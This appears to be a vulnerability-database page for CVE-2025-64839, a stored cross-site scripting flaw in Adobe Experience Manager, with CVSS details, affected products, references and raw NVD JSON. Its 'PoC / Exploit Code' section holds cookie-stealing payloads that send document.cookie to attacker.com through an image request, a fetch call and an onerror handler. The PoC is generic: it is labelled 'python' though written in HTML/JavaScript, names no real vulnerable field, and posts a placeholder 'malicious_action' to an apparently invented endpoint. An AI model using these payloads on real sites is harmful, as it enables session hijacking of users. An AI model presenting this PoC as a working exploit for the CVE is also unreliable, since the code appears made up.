CVE-2025-64839

Description

Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:* - VULNERABLE

Adobe Experience Manager <= 6.5.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-64839 Stored XSS PoC for Adobe Experience Manager -->
<!-- This PoC demonstrates the vulnerability in form fields -->

<!-- Inject malicious script into a vulnerable form field -->
<script>
  // Steal session cookies
  var stolenCookies = document.cookie;
  
  // Send stolen data to attacker-controlled server
  var img = new Image();
  img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookies);
  
  // Alternatively, perform actions on behalf of the user
  fetch('/api/content/fragments', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      action: 'malicious_action',
      session: document.cookie
    })
  });
</script>

<!-- Or use event handlers for simpler injection -->
<img src=x onerror='fetch("https://attacker.com/log?c="+document.cookie)'>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64839
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64839
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64839/
[4] VulDB https://vuldb.com/cve/CVE-2025-64839
[5] https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64839", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:31.883", "lastModified": "2025-12-12T18:09:10.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}